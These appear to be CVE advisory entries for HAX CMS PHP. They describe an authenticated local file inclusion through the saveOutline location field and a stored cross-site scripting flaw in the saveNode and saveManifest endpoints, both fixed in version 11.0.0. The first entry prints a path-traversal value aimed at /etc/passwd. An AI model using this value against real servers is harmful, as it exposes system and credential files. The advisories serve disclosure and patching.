HAX CMS PHP allows users to manage their microsite universe with a PHP backend. Prior to version 11.0.0, an authenticated Local File Inclusion (LFI) vulnerability in the HAXCMS saveOutline endpoint allows a low-privileged user to read arbitrary files on the server by manipulating the location field written into site.json. This enables attackers to exfiltrate sensitive system files such as /etc/passwd, application secrets, or configuration files accessible to the web server (www-data). The vulnerability stems from the way the HAXCMS backend handles the location field in the site's outline. When a user sends a POST request to /system/api/saveOutline, the backend stores the provided location value directly into the site.json file associated with the site, without validating or sanitizing the input. Later the location parameter is interpreted by the CMS to resolve and load the content for a given node. If the location field contains a relative path like `../../../etc/passwd`, the application will attempt to read and render that file. Version 11.0.0 fixes the issue.
- CVE-2025-49137Jun 9, 2025risk 0.00cvss —epss 0.00
HAX CMS PHP allows users to manage their microsite universe with a PHP backend. Prior to version 11.0.0, the application does not sufficiently sanitize user input, allowing for the execution of arbitrary JavaScript code. The 'saveNode' and 'saveManifest' endpoints take user input and store it in the JSON schema for the site. This content is then rendered in the generated HAX site. Although the application does not allow users to supply a `script` tag, it does allow the use of other HTML tags to run JavaScript. Version 11.0.0 fixes the issue.